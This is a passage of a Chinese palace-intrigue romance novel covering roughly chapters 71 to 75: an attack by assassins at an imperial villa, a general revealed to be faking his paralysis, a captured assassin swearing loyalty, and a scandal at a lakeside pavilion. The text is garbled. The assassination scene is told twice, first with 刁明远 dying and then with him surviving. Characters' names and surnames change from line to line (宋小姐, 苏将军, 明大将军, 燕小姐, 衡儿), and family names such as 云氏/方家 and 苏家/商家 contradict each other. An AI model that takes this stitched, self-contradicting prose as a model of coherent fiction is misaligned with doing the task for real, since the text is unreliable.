茅暮暮也意识到自己失态了,她深吸一口气,努力平复着胸口的怒火,勉强挤出一个笑容,低着头,假惺惺地抹了抹眼泪: “明远哥哥,我只是……太意外了。清兮她……她这样做,到底是为了什么?” 刁明远看着她,声音放轻了些:“不管她是为了什么,只要你愿意嫁给我,其他的,都不重要。” 茅暮暮紧紧地咬着牙,指甲深深地掐进掌心,心里对刁明远的厌恶几乎要溢出来。 一个区区伯爵府的公子,也配肖想她? 真是不知天高地厚! 她强压下心头的恶心,尽量让自己的声音听起来温柔一些: “明远哥哥,我今天只是……太惊喜了。之前姐姐一直说,她一定会想办法拆散我们的,所以我到现在……都不敢相信陛下会准许我们在一起。” 刁明远伸手扶住茅暮暮的肩膀,语气坚定:“暮暮,这是真的。我说过,我会娶你的,必定让你做我的新娘。” 茅暮暮似乎被他的话打动了,顺势靠进了他的怀里。 刁明远轻轻地拥着她,怀里是他朝思暮想的心上人。 可是,他的脑海里,却不由自主地浮现出那天茅清兮对他说的话。 她祝他们白头偕老,永结同心。 不知怎么的,他现在越想越觉得,茅清兮和茅暮暮口中描述的,完全是两个人。 茅清兮不像是会费尽心机拆散他们的人。 那天,茅清兮看着他的眼神很平静,甚至可以说,是冷淡。 那样的眼神,绝对不是一个爱慕者会有的。 刁明远的思绪有些混乱,他完全没有意识到,自己已经在不知不觉中,开始怀疑茅暮暮的话了。 两人相拥了一会儿,茅暮暮便轻轻推开了刁明远。 她整理了一下衣裙,正准备离开,忽然间,眼角余光瞥见几道黑影从墙头一跃而入, “啊——有刺客!” 茅暮暮失声尖叫。 那几个黑衣人原本还想隐藏身形,听到她的叫声,干脆不再遮掩,直接朝着他们冲了过来。 茅暮暮吓得魂飞魄散,转身就往外跑。 慌乱之中,她一头撞上了站在假山外面的茅清兮。 可这会儿,茅暮暮哪里还顾得上这些,身后寒光闪闪的刀刃已经逼近,死亡的恐惧笼罩了她。 “啊——!” 茅暮暮发出一声凄厉的尖叫,猛地拽过身旁的刁明远,死死地抓住他的手臂,将他挡在了自己身前。 刁明远根本来不及反应,只觉得眼前寒光一闪,冰冷的刀锋已经贴上了他的脸颊。 弥留之际,他脑海中闪过的,是茅暮暮毫不犹豫把他推出去挡刀的狠绝,还有,茅清兮那双清冷如霜的眼眸。月色如水,静静流淌在庭院的每一个角落。 突然,几道黑影如同鬼魅般翻墙而入,打破了这片刻的宁静。 “啊——有刺客!” 茅暮暮的尖叫声,仿佛要把夜幕撕开一个口子。 黑衣人不再遮掩,提着明晃晃的刀,步步紧逼。 茅暮暮吓得魂飞魄散,转身就跑,慌乱中,她“砰”的一声撞上了站在假山外的茅清兮。 死亡的威胁就在身后,求生的本能让她瞬间失去了理智。 “啊——!” 她猛地拽过身旁的刁明远,几乎是下意识地,将他推向了那闪着寒光的刀锋。 刁明远完全没料到这突如其来的变故。 他只觉得眼前寒光一闪,那冰冷的刀锋,几乎是贴着他的脸颊划过。 闭上眼,想象中的剧痛却没有来。 刁明远睁开眼,只见那刺客手中的剑,像是被什么东西狠狠地打偏了。 他顺着刺客惊愕的目光望去,只见茅清兮手里,正捏着几片翠绿的树叶。 下一刻,茅清兮手腕轻轻一扬,两片树叶如同离弦的箭,疾飞而出。 刺客反应极快,抽身后退,却还是慢了一步,树叶没入了他的双腿。 “呃!”他闷哼一声,单膝跪倒在地,脸色煞白。 刁明远劫后余生,一颗心还在“砰砰”狂跳,他看着茅清兮,眼神复杂。 茅清兮却连余光都没分给他,只是冷冷地盯着前方。 她侧身,轻巧地躲过身后刺来的一剑,随即旋身飞起一脚,正中那刺客的手腕,直接夺过了他手中的长剑。 皇家宴会,自然是不许带兵器的。她方才,也只能摘这几片树叶来御敌。 可如今,长剑在手,她便如蛟龙入海,再无任何顾忌。 剑光霍霍,寒气逼人,剑锋所指,无人可挡。 那些刺客,竟是连她的衣角都碰不到。 眼见茅清兮如此难缠,刺客们交换了一个眼神,改变了目标,随即杀向剩下三人。 茅清兮旋身而至,如同一道鬼魅,挡在了冀容白的身前。 与此同时,手中长剑一挑,精准地架住了刺向冀容白的一柄长刀。 而茅暮暮和刁明远,早已吓破了胆,两人跌跌撞撞地躲到了冀容白身旁。 茅暮暮死死地抓住刁明远的手臂,整个人却像筛糠一样,瑟瑟发抖地躲在他的身后。 茅清兮看都没看他们一眼,只是护着冀容白,冰冷注视着包围而来的五名黑衣杀手。 “哪儿来的鼠辈,也敢在此放肆?”她冷笑一声,声音里带着一丝不屑。 黑衣人对视一眼,没有说话,只是沉默地举起了手中的刀,猛扑上来。 茅清兮横剑一挡,“锵——”的一声,剑刃相交,火花四溅,劲风掀起她身后的青丝,红色的衣摆,也随之翻飞。 她手腕微微下沉,以巧劲逼退了刺客,随即身形一转,如同穿花蝴蝶般,与刺客们缠斗在一起。 冀容白眼神沉郁,目光一瞬不瞬地盯着茅清兮的身影。 只要茅清兮稍露疲态,他就会立刻出手。 即使会因此暴露身份,他也绝不能让她受伤。 刁明远愣愣地站在一旁,一动也不敢动。 耳边,是茅暮暮惊恐的低泣声。若是往常,听到茅暮暮这般害怕,他必然会温柔地靠近开导。 可现在,他却毫无反应。 他的眼中,只有那一抹翻飞的红色身影,耀眼夺目,让人移不开视线。 那身影,仿佛要烙进他的眼底,烙进他的心里。 “主子!夫人!属下来迟!” 墨川焦急的声音传来,打破了这紧张的气氛。 他一路疾奔,额头上满是汗珠,脸上写满了懊恼。 适才主子和夫人要赏月,他便留在远处,不曾想,竟会遇到刺客! 他被几个刺客缠住,脱不开身,直到现在才赶了过来。 第七十一章 有了墨川的加入,茅清兮顿时轻松了许多。 没过多久,那五个刺客,便被他们两人联手制服。 墨川喘了口气,来不及擦汗,便急忙禀报:“禀主子,圣驾那边也遭遇了刺客袭击,人数众多,锦衣卫和禁军已全部出动!” 冀容白微微颔首,示意他知道了,然后转头看向茅清兮。 “有没有受伤?”他问,声音里带着一丝关切。 “雕虫小技,岂能伤我?”茅清兮随意地挽了个剑花,语气轻松。 冀容白笑了,眼神温柔:“娘子身手不凡,为夫自愧不如。” 茅清兮正欲开口,却被一阵带着颤音的道谢声打断。 “宋……宋小姐,方才多谢你出手相救。”刁明远脸色微微泛红,声音有些结巴。 茅清兮这才注意到刁明远和茅暮暮,她淡淡地扫了他们一眼,语气疏离:“举手之劳,不必挂齿。我出手,不过是顺势而为,与你并无多大干系。” 她救刁明远,不过是不想让他这么快就死了。毕竟,为他和茅暮暮求来的那道圣旨赐婚,可不能就这么白费了。 她还得看看他们“比翼双飞”呢。 刁明远嘴唇翕动,似乎想问她究竟为何出手,但茅清兮已经移开了视线,显然不想与他多言。 茅暮暮敏锐地察觉到了气氛的微妙,她眼神微微闪烁,不动声色地挽住了刁明远的胳膊,柔声说道:“明远哥哥,我们还是快些回去吧,我实在担心父亲和母亲……” 刁明远回过神来,也担心府里的情况,这么多刺客闯入,不知是否有人受伤。 他犹豫了一下,还是看向茅清兮和冀容白:“二位,不如一同……” “不必了,你们顾好自己便是。”茅清兮毫不犹豫地打断了他,语气冷淡。 刁明远神色一黯,默默地带着茅暮暮离开了。 茅暮暮紧紧地依偎在他的身边,声音带着哭腔:“明远哥哥,我方才真是吓坏了……你没事吧?都怪我不好,我不该那么害怕……” 刁明远听着,心里五味杂陈。 心爱之人依偎在怀中,他却觉得有什么地方不一样了。 究竟是哪里不一样呢?他说不清,只是觉得心里空落落的。 他想,或许很久以后,他才会明白。 刁明远和茅暮暮的身影消失在夜色中,茅清兮这才转头看向冀容白。 “这些人,究竟是什么来头?”她微微蹙眉,语气中带着一丝疑惑,“而且,招式路数,明显是江湖中人。” 冀容白沉思了片刻,缓缓开口:“如果我没猜错,多半是前朝余孽。这些年来,他们一直贼心不死,暗中积蓄力量,妄图复辟。墨川,你去查清楚,圣驾那边的情况如何,是否有人受伤?” 墨川有些迟疑,看了看冀容白。 “不必担心我,有娘子在,出不了事。”冀容白笑了笑,语气轻松。 “属下遵命。”墨川这才应了一声,转身离去。 四下无人,现场仅余二人。 “娘子是想回去,还是继续赏月?”冀容白问。 “难得出来一趟,自然是要尽兴。”茅清兮回答。 两人继续沿着小路往前走,月光洒在他们身上,将他们的身影拉得很长。 冀容白心安理得地享受着茅清兮推着他,他忽然问道:“娘子,你还记得小时候的事吗?” “小时候?”茅清兮挑了挑眉,“自然记得。” “那你可还记得,你小时候,最喜欢做什么?” “练剑。”茅清兮毫不犹豫地回答,“那时候,我每天天不亮就起来练剑,风雨无阻。” 冀容白嘴角泛起追忆的弧度,似乎想起了什么有趣的事情。 那时的茅清兮,不过是个小小的女童,却总是板着一张小脸,一招一式,练得格外认真。 分别之时,她还把自己最心爱的一把小木剑送给了他。 想到离别时茅清兮那依依不舍的小模样,冀容白忍不住笑出声来。 “笑什么?”茅清兮斜睨了他一眼,“笑点在哪里?” 冀容白看着她,目光温柔:“娘子,你且低头。” 茅清兮狐疑地看着他:“又要做什么?” “你低头便是。”冀容白笑着说。 茅清兮将信将疑地低下头。 冀容白缓缓抬起手,轻轻地拂过她的鬓角。 茅清兮只觉得有什么东西从自己的脸颊边掠过,她下意识地闭上了眼睛。 冀容白的手指,轻轻地拂过她的眉梢,然后,从她的发间,摘下了一片粉色的花瓣。 “方才,樱花飘落在你秀发间。”他轻声说,声音里带着一丝不易察觉的温柔。 “哦。”茅清兮应了一声,正要去摸自己的头发,忽然,冀容白的声音猛地一沉:“小心!” 话音未落,茅清兮只觉得腰间一紧,整个人被冀容白猛地一带,向后仰去。 二人在地面翻滚纠缠,堪堪停住。 她刚要起身查看情况,冀容白突然一把将她揽入怀中,足尖一点,一个闪身跳上临近枝头。 而他们刚才躺着的地方,赫然插着一支闪着寒光的羽箭。 若不是冀容白反应及时,那支箭,恐怕已经刺穿了他们的身体。 茅清兮反应过来,正要追查暗中放冷箭之人,目光却突然落在了冀容白的腿上。 冀容白的双腿,稳稳地站在了树枝上。 他……竟然能站起来了?林间幽暗,枝叶交叠,天光难入。 冀容白凝神屏息,周遭一丝风吹草动,都逃不过他的耳畔。 方才那两支冷箭,来势汹汹,若非他反应及时,茅清兮怕是要血溅当场。 念及此,他不由得转头,目光落在身旁的茅清兮身上,想看看她有没有受伤。 却不料,茅清兮的视线,正落在他那双“不良于行”的腿上。 “……”冀容白喉头微动,他可以解释的。 “娘子……” 茅清兮缓缓抬眸,唇角勾起一抹玩味的弧度。 “大将军的实力真是牛掰,瞒天过海,连太医院那群老家伙都被你骗得团团转。” 她顿了顿,语气愈发微妙: “如今这大晋朝野,怕是都以为将军你身中剧毒,命不久矣了呢。” 冀容白被她看得有些不自在,下意识地扯了扯嘴角,刚想辩解。 “嗖——” 破空声再起! 又是一支羽箭,直取二人藏身之处! 冀容白几乎是本能地伸手,想要将茅清兮拉到身后护住。 可茅清兮却比他更快,足尖在树干上轻轻一点,身形如同一只灵巧的燕子,飘然落向另一根枝杈。 那支箭,便落了空。 茅清兮回眸,朝冀容白递去一个“不必担心”的眼神。 随即,她身形一转,化作一道残影,朝着箭矢射来的方向疾掠而去。 第七十二章 冀容白哪能放心,顾不得暴露,足尖连点,紧随其后。 高阁之上,暗箭之人眼见行刺不成,非但不退,反而变本加厉。 一支支羽箭,如同催命的符咒,连珠般射向二人。 冀容白与茅清兮却是不慌不忙,闪转腾挪间,将箭矢一一化解。 几个呼吸间,两人已逼近高阁,一左一右,将那放箭之人困在其中。 那人眼见已无退路,索性丢了弓箭,反手拔出背后长剑。 剑锋在昏暗中闪过一道寒芒,映出她决绝的眼神。 她死死盯着眼前的一黑一红两道身影。 “想不到,苏将军竟是安然无恙。” 她咬牙切齿道: “如此说来,那身中剧毒的传言,也是假的了?” 冀容白面色沉静,不置可否,只是默默打量着对方。 那人见他不答,愈发警惕: “你难道不怕,我将此事公之于众?” 冀容白终于开口,声音低沉而冰冷: “你觉得,你今天还能活着离开这里?” 那人脸色骤变。 茅清兮却在这时轻笑一声,身形一晃,已欺身至那人跟前。 几缕发丝垂落,遮住了她眼底一闪而过的寒芒。 她并未立刻动手,只是用一种近乎玩味的语气,缓缓开口: “我当是谁,原来是你啊……” 俞霜心头一震。 茅清兮的声音,她再熟悉不过。 “怎么,不认得我了?”茅清兮嘴角的笑意更浓了,“看来,你对‘青虹’的印象还不够深刻啊。” 俞霜脸色苍白。她怎么也没想到,自己精心策划的刺杀,竟然会落入这样的境地。 “你……”她张了张嘴,却发现自己什么也说不出来。 原本她是打算拼死一搏的,可现在,她连出手的勇气都没有了。 冀容白缓步上前,挡在了茅清兮的身前。 他的声音很轻,却带着不容置疑的威严:“她交给我。” 茅清兮挑了挑眉,没有反对。 她知道,冀容白这是要亲自审问俞霜了。 俞霜看着冀容白一步步逼近,眼中闪过一丝绝望。 她猛地一咬牙,正要有所动作。 茅清兮却冷笑一声:“想死?没那么容易。” 她身形一闪,在俞霜反应过来之前,点了她的穴道。 俞霜顿时浑身僵硬,动弹不得。 “把她带回去。”茅清兮吩咐道。 …… 回到住处,茅清兮没有再理会俞霜,而是直接将人交给了墨川。 “别让她死了,其他的,你随意。” 墨川应了一声,将俞霜带了下去。 冀容白看着茅清兮的背影,无奈地叹了口气。 看来,他只能自己去找轮椅了。 他正要转身,却听见茅清兮的声音传来: “站住。” 冀容白脚步一顿。 茅清兮缓缓转过身,目光在他身上逡巡。 “明大将军,不打算解释一下吗?” “娘子想听什么解释?”冀容白苦笑。 “所有。”茅清兮言简意赅。 冀容白沉默片刻,缓缓开口: “两年前,北境一役,我确是中了毒,险些丧命。” “但那毒,并非‘寒星露’,而是另一种更为罕见的毒药。” “沈大夫虽暂时压制了毒性,却未能彻底清除。” “我对外宣称身中‘寒星露’,并假装双腿残疾,不过是为了迷惑幕后之人,争取时间暗中调查。” 茅清兮静静地听着,没有打断他。 “方才,若非情况紧急,我也不会暴露自己。”冀容白叹了口气,“我并非有意隐瞒娘子,只是……” “只是什么?”茅清兮追问。 “只是此事干系重大,我怕连累娘子。”冀容白看着她,眼神真挚,“娘子信我吗?” 茅清兮没有立刻回答。 冀容白的心,一点点沉了下去。 良久,茅清兮才缓缓开口: “你救了我,我自然信你。” 她顿了顿,又补充道: “不过,作为交换……” “你想要什么?”冀容白问。 茅清兮微微一笑,眼中闪过一丝狡黠: “我要你院子里那个姓廖的厨子。” 冀容白一愣,随即失笑: “就这?” “怎么,舍不得?”茅清兮挑眉。 “当然不是。”冀容白连忙摇头,“只要娘子喜欢,别说一个厨子,便是十个八个,我也双手奉上。” 他望着茅清兮,眼中满是宠溺。 就在这时,墨川回来了。 他看了一眼站在那里的冀容白,又看了看坐在椅子上的茅清兮,有些摸不着头脑。 “主子,夫人……”他小心翼翼地开口,“俞霜招了。” “哦?”茅清兮来了兴致,“她都说了些什么?” “她说……”墨川顿了顿,“她是受茅暮暮指使,前来刺杀夫人的。” “意料之中。”茅清兮并不意外。 “她还说……”墨川看了冀容白一眼,“她与行刺皇上的那伙人,并非一路。” “她只是偶然撞见,临时起意,想要趁乱杀了夫人。” “至于那伙人的来历,她只知道,他们自称是‘玄月门’的人。” “玄月门?”茅清兮微微蹙眉。 冀容白与墨川对视一眼,都从对方眼中看到了一丝凝重。 “俞霜还说……”墨川继续道,“她愿意归顺夫人,为夫人效力。” “条件是,夫人要替她报仇。” 茅清兮闻言,缓缓起身,走到俞霜面前。 她居高临下地看着这个曾经想要置她于死地的女人,缓缓开口: “你的仇人是谁?” 俞霜抬起头,眼中闪烁着仇恨的光芒: “茅暮暮!”“慢着。” 墨川正要把俞霜带下去,茅清兮出声叫住。她声音不高,带着不容置疑的沉稳。 俞霜本就抵着额头,闻声,细微地颤了下,像是用尽全力才勉强维持着跪伏的姿态。 茅清兮缓步走到俞霜近前,在她面前站定,居高临下地看着她,目光锐利如刀: “你早就想好了,是不是?” 她稍作停顿,眼神扫过俞霜紧绷的脊背, “否则,你怎会如此笃定,我会答应你的要求?” 从第一次在碧云楼交手,茅清兮就对俞霜心存疑虑。当时俞霜为求脱身,竟将青虹剑弃之不顾。那可是名震江湖的神兵,一旦追查起来,俞霜的身份便无所遁形。 可她还是这么做了,像是全无顾忌,又或者,是算准了什么。 俞霜缓缓抬头,眼眶泛红,却倔强地不肯落泪,声音微哑: “我不知道,这不过是……一场豪赌。” 赌赢了,或许能手刃仇敌,为家人报仇雪恨;赌输了……横竖不过一死,她早已了无牵挂。 茅清兮没有立即回应,只是静静地审视着俞霜,似乎在分辨她话中的真伪。 “你之前替茅暮暮做事,” 过了许久,茅清兮才缓缓开口,语气平淡得像是在说一件无关紧要的事, “你该知道,我与她之间,是解不开的死仇。 第七十三章 ” 她微微俯身,逼近俞霜,眼神冷冽,声音也压得极低, “你背叛旧主,投靠死敌,我凭什么信你?” 俞霜身子一僵,咬了咬嘴唇,像是下定了决心: “茅暮暮……算不上我的主子。我为她做事,不过是为了报答苏家的救命之恩。” “茅暮暮救过你?” 茅清兮挑眉,语气中带着一丝玩味的笑意。 “并非是她,是洛州商家。” 俞霜深吸一口气,努力平复着内心的情绪, “我原本是江湖上颇有名望的云氏山庄的大小姐。十二年前,方家惨遭灭门,血流成河。我因外出游玩,侥幸逃过一劫。” 她顿了顿,似乎是回忆起了那段血腥的过往,脸色变得苍白, “那些人……为了斩草除根,四处追杀我。是苏家的家主,将我从鬼门关拉了回来,这条命,是苏家给的。” “苏家?” 茅清兮迅速在记忆中搜寻着与苏家有关的信息, “我记得,洛州商家,不过是个破落户。前朝覆灭时,苏家就已家道中落,不值一提。” 她对苏家做过调查,知道不少秘辛。当年战火四起,洛州商家未能幸免,早已衰败。茅文昭与骆芸这对青梅竹马的恋人,也因此天各一方。 为了在乱世中求生,茅文昭这才与她娘亲结为夫妻。可实际上,他与骆芸早已珠胎暗结,否则茅暮暮的年纪,不会只比她小上一岁。 可怜她娘亲,至死都被蒙在鼓里。更可恨的是,茅文昭在她娘亲去世后,立刻将养在外面的骆芸母女接回了府。 想到这里,茅清兮眼底闪过一丝寒芒,她微微眯起眼睛,盯着俞霜: “我一直怀疑,茅暮暮背后有人为她出谋划策,难道……是你?” “不是我,是苏家。” 俞霜的声音很轻,却透着一股坚定, “苏家家主暗中与江湖势力勾结,豢养了一批爪牙,替他卖命。” “苏家所谋何事?” 茅清兮心念电转,已然猜到了几分。茅暮暮一心想攀龙附凤,成为太子妃。若是苏家助她登上后位,苏家便可借势崛起,重现往日荣光。 这听起来虽然有些匪夷所思,但茅清兮却知道,前世茅暮暮的确如愿以偿,凤冠加身。 想通了这一点,茅清兮看向俞霜的眼神愈发深沉: “你将这些和盘托出,难道不怕苏家报复?” “这些年,我替苏家和茅暮暮做了不少事,早已还清了当年的恩情。” 俞霜的眼眶泛着血丝,声音也变得沙哑, “何况……血海深仇,我不能不报。苏家,更不会允许我报仇。” “你的仇人……是谁?” 茅清兮追问。 俞霜咬紧牙关,一字一顿地说: “当今太子,钱云霄。” 茅清兮瞳孔猛地一缩,随即却轻笑出声,只是那笑容,冷得没有一丝温度: “你想让我替你讨回公道,可你也知道,他是一国储君。你这是……要陷我于不忠不义之地。” 她早就对钱云霄恨之入骨,恨不能将他从云端拉入泥潭,但这些心思,从未对人表露。以她如今的实力,还不足以与太子抗衡,她一直在隐忍,等待时机。 “我明白。” 俞霜抬起头,目光坚定地看着茅清兮,又看了一眼始终沉默不语的冀容白,像是豁出了一切, “只要主子能替我报仇雪恨,我这条命,便是主子的。” 她没有说的是,那次碧云楼交手,她便已猜到了茅清兮的身份。她早早就在碧云楼后门盯梢,亲眼看见茅清兮走了进去。 一番调查,她得知了醉月楼是茅清兮的产业,司玄苏也听命于她。后来,她又发现司玄苏的人与宁王的人一同潜入太子府,行刺白苏道长。 桩桩件件,都指向一个事实:茅清兮与太子有仇。所以她今日才会放手一搏,赌茅清兮会收留她,助她复仇。 “你很聪明。” 许久,茅清兮才开口,声音听不出喜怒。她缓缓走到俞霜面前,蹲下身,手中匕首寒光一闪,割断了缚住俞霜双手的绳索。 “我应下了。” 俞霜悬着的心终于放下,她双手撑地,郑重叩首: “属下这条命,便是主子的利刃。” “起来吧。” 茅清兮这才看向冀容白,从头到尾,她都未曾避讳过他,收下俞霜,亦是在他面前。她不知道冀容白对此事作何感想,是否会反对她与太子为敌。 或许是出于一种莫名的信任,她竟然敢在冀容白面前,毫无保留地展露自己的野心与谋划。 “夫人,吉公公到访。” 这时,门外突然传来丫鬟的声音。 茅清兮和冀容白对视一眼,冀容白立刻收敛起方才的神色,坐回轮椅,又恢复了那副弱不禁风的模样。 俞霜和墨川则悄无声息地隐入了暗处。 “快请。” 茅清兮吩咐道。 吉公公一进门,便趋步上前,向冀容白和茅清兮行礼,态度谦卑。 茅清兮连忙上前扶起。 吉公公满脸堆笑: “陛下听闻后院混进杀手,担忧得紧,特命奴婢前来探望,将军与夫人可还安好?” 冀容白微抬眼眸,轻咳两声: “有劳陛下挂念,臣与内人并无大碍。陛下龙体可安康?” “陛下无恙,只是忧心将军的身体。” 吉公公笑容可掬, “陛下特地命老奴带来了别院珍藏的上好药材,还说待回宫后,另有重赏。” 说话间,他身后的小太监们已将一箱箱名贵药材抬了进来。 茅清兮和冀容白连忙跪谢隆恩。 随后,茅清兮亲自送吉公公离去。 待吉公公一行人走远,茅清兮回到冀容白身边,看着满屋子的珍贵药材,心中疑虑更甚。 皇帝对冀容白的关切,未免太过。后院混进杀手,他第一时间竟是派人来问冀容白的安危,而非过问朝中事务。这般恩宠,已然超出了君臣之礼,便是太子,也未必能有这等待遇。 只是,她并未将心中的疑惑宣之于口。她与冀容白,到底隔着一层。 冀容白却主动开口: “娘子答应了俞霜,可是要与太子为敌?” 茅清兮眸光微动。她想,冀容白对那些皇子们,定然也无甚好感,毕竟,那些人可都视他为眼中钉,恨不得除之而后快。 可是,要动摇太子的地位,无异于以卵击石。更何况,一旦储君之位不稳,国本动荡,大晋江山,只怕会生出更多变数。大晋立国至今,不过短短十一年,实在经不起折腾。 冀容白是镇守边疆的将军,他未必会支持自己。 她沉默不语。 冀容白看着她,忽然笑了,笑里带着几分促狭: “娘子,怎么不问问为夫的意见? 第七十四章 ” “或许,为夫能帮上忙呢?” 茅清兮有些意外地看着他: “你……要帮我?” “娘子的事,便是为夫的事。” 冀容白扬了扬眉, “夫妻本是一体,自当同心同德,共进共退。” 他突然站起身,缓步走向茅清兮,嘴角勾起一抹意味深长的笑: “娘子莫不是……一直怀疑为夫的能力?” “不如趁此机会,让娘子好好见识见识,为夫……到底行不行?” 茅清兮微微睁大了眼睛,眸中闪过一丝不易察觉的慌乱。 冀容白看着眼前的小女子。平日里,她总是冷着一张脸,像一朵带刺的玫瑰,让人难以靠近。也只有在这个时候,她才会显露出几分少女的娇憨。 在茅清兮看来,冀容白实在不该做什么将军。他生来便带着几分“倚马斜桥,满楼红袖”的韵味,活脱脱一个风流浪子。若他生在烟花之地,定是那最夺目的魁首。“你竟敢对太子下黑手?” 茅清兮猛地推开冀容白,起身走到桌边,利落坐下。 她抬眼,目光如炬,直视着眼前的男人。 方才,冀容白那张俊美得过分的脸几乎贴到她跟前,带着三分戏谑,七分试探。 亏得她定力过人,才没露怯。 “一国储君,自然是能者居之。”冀容白也缓步走来,在她对面落座,随手倒了杯茶推过去,语气中带着几分漫不经心,“娘子放心,为夫定会助你一臂之力。” 他的声音低沉醇厚,像上好的陈酿,带着几分蛊惑人心的味道。 茅清兮接过茶盏,却没喝,只是垂眸把玩着手中的杯子,语气淡淡: “我还以为,你是个忠君爱国之人。” “忠君爱国?”冀容白嗤笑一声,仿佛听到了什么天大的笑话,“我要真是忠臣,两年前就该横尸云陲沙场了。” 他端起自己的茶盏,用杯盖轻轻拨着浮沫,眼皮子都没抬,似乎在说一件微不足道的小事。 茅清兮看着他,沉默片刻。 她忽然意识到,自己可能从未真正看透过这个男人。 “你身上的毒,”她顿了顿,还是问出了口,“是谁下的?” “目前……还没查出来。” 冀容白的语气依旧平淡,仿佛这毒不是下在他身上似的。 他越是这般云淡风轻,茅清兮心里越是沉重。 “需不需要我帮忙?”她又问。 “求之不得。”冀容白这才抬眼,看向茅清兮,笑意吟吟,“那为夫,在此谢过夫人大恩。” 又来了。 茅清兮在心里翻了个白眼。 这人跟她说话,总是这副腔调,像哄小孩儿似的。 好像她不是与他并肩作战的同伴,而是一个需要他处处哄着的娇小姐。 她心中不爽,干脆把憋了许久的问题问了出来: “冀容白,你老实说,你是不是……心里有人?” 问出这句话时,茅清兮觉得自己心跳都快了几分。 她稳住心神,继续道: “你若是想娶她进门,我不拦着,给我休书就放你自由,我绝不纠缠。” 她微微垂眸,掩去眼底的一丝黯然。 说到底,他们之间本就没什么情分,成亲前连面都没见过。 若清韵没说错,冀容白当真有了心上人,那她……不如早点抽身。 不然,无论是对付太子的事,帮他揪出下毒的真凶,他们都会越陷越深。 到时候,再想脱身,恐怕就难了。 “和离书”三个字一出口,冀容白那双幽深的眸子,微微眯了起来。 他缓缓放下手中的茶盏,动作轻得几乎听不见声音。 他盯着茅清兮,一字一句,语气低沉而危险: “娘子这是说的什么话?为夫心里除了娘子,还能有谁?” 他的声音很轻,却带着一种不容置疑的压迫感。 茅清兮抬眼,看向他的眼睛。 那双眼睛深邃如墨,幽深不见底,仿佛能把人吸进去。 她看不透他。 茅清兮忽然觉得自己有些可笑。 她竟然妄想看透一个心思深沉如海的男人的心。 有时,他坦诚得让人惊讶,比如腿疾的真相,他能毫无保留地告诉她。 可有时,他又遮遮掩掩,连心上人的存在都不肯承认。 算了。 茅清兮暗自叹了口气,把这些乱七八糟的念头赶出脑海。 眼下,就因为他俩是夫妻,反而成了一种合作关系。 这样挺好。 苏枭将军这块招牌,走到哪儿都好使,她用了几次,觉得效果不错。 只要冀容白不急着把他那位心上人娶进门,他们就能一直这样合作下去。 各取所需,互不干涉。 想通了这些,茅清兮顿觉心头一轻,仿佛卸下了一副重担。 就在她和冀容白相对无言,各自盘算的时候,外面忽然传来一阵喧哗声。 声音嘈杂,似乎出了什么乱子。 茅清兮从前总觉得身边没人可用,如今有了俞霜,倒是方便不少。 很多事,不用她吩咐,俞霜就能办得妥妥帖帖。 这不,她还没来得及开口,俞霜已经像一阵风似的闪身出去打探消息了。 “回王妃,”俞霜去得快,回得也快,说话更是像连珠炮似的,“刚刚有刺客行刺,康熙王说他那个宝贝儿子不见了,现在正派人到处找呢。” 康熙王,是当今圣上的胞弟。 当初圣上能登上皇位,少不了他的鼎力支持。因此,圣上登基后,便封了他一个闲散王爷,让他安享荣华。 这位康熙王,好听点说是闲云野鹤,难听点说就是不学无术。 他早年生的几个儿子都在战乱中没了,如今只剩下一个宝贝疙瘩钱阳。 虽然这钱阳也没什么真本事,整天只知道吃喝玩乐,但康熙王却把他当成眼珠子一样疼爱。 现在钱阳不见了,康熙王急得像热锅上的蚂蚁,已经闹到圣上那里去了,求圣上派人搜寻。 “可找到了?”茅清兮问。 她隐隐觉得,这事恐怕没那么简单。 “找到了是找到了,不过……”俞霜很快又回来了,脸色有些古怪,欲言又止。 她偷偷看了冀容白一眼,见他微微点头,这才压低声音,继续道: “人是在湖边的亭子里找到的,只是……找到的时候,小王爷正和洛国公府的大小姐抱在一块儿呢。” 抱在一起? 茅清兮闻言,不由得眉梢一挑,露出几分惊讶之色。 冀容白的脸色却瞬间阴沉下来,周身散发出一股寒意。 “冀晚雨?” 彼时,锦衣卫正带着人在御家别院里四处搜查。 方才那伙刺客,已经被全部拿下,要么被当场格杀,要么被生擒,一个都没跑掉。 但这别院里住着的都是些皇亲贵戚,身份尊贵。 有些晚上出来赏花赏月,不幸撞上刺客,丢了性命。 第七十五章 锦衣卫清点尸体的时候,发现少了康熙王府的小王爷钱阳。 这还得了? 一群人立刻沿着花园小径,往深处搜寻。 终于,在湖边的一座凉亭里,发现了钱阳。 一同被发现的,还有洛国公府的大小姐,冀晚雨。 锦衣卫不敢耽搁,立刻将消息报了上去。康熙王一听,哪里还坐得住,立马带着一群人,火急火燎地赶了过来。 各府的人也被惊动,纷纷起身出来看热闹。 一时间,这湖边凉亭周围,围了个里三层外三层,水泄不通。 茅清兮推着冀容白,不紧不慢地走过来,停在人群外围。 她抬眼,朝那凉亭中望去。 只见洛国公府的大小姐冀晚雨,衣衫尽湿,发丝凌乱地贴在脸上,正紧紧地依偎在钱阳怀里,浑身止不住地颤抖。 她身上,还披着一件明显是钱阳的袍子。 那袍子宽大无比,将她整个人都裹了起来,更衬得她身形娇小,我见犹怜。 “衡儿!我的儿啊!你可算回来了!” 康熙王一见到自家儿子,立刻连滚带爬地扑了上去,一把鼻涕一把泪地上下检查, “你没事吧?没受伤吧?快,快传太医!” 冀二夫人也在人群中。 她看着自家女儿,眼神阴鸷得吓人,恨不得把她给活剐了。 其他人的目光则在冀晚雨和钱阳之间来回打转,神色各异。 早先,他们或许对洛国公府的这位大小姐不甚熟悉。 但经过今日之事,想必再没人会忘记她了。 就在今日的花园中,冀晚雨独立花间,竟引得一群彩蝶绕身飞舞。 那景象,当真似月似幻,美不胜收。 当时,所有人都看呆了,连一向见多识广的圣上,都忍不住出言称赞。 钱阳更是看得眼睛都直了,哈喇子都快流下来了。 他还曾大着胆子凑上前去,问冀晚雨叫什么名字。 只是那时,冀晚雨只是羞红了脸,低着头不说话。 眼下,见两人衣衫不整地抱在一起,难免有人小声议论,猜测纷纷: “这是怎么回事?燕大小姐这是……落水了?” 冀晚雨颤抖着身子想要站起来,却一个趔趄,险些摔倒。 钱阳眼疾手快,一把将人捞进怀里。 “燕小姐,你没事吧?” 他的声音里,满是掩饰不住的关切和担忧。 “我……我没事。” 冀晚雨摇了摇头,勉强挤出一个虚弱的笑容,声音细若蚊蝇。 她并没有直接回答落水的问题,而是挣扎着从钱阳怀里出来,摇摇晃晃地走到他面前,勉强福了一礼: “多谢小王爷……救命之恩……若非小王爷……小女子怕是……再也见不到明天的日头了……” 说着,她身子一软,眼看又要倒下去。 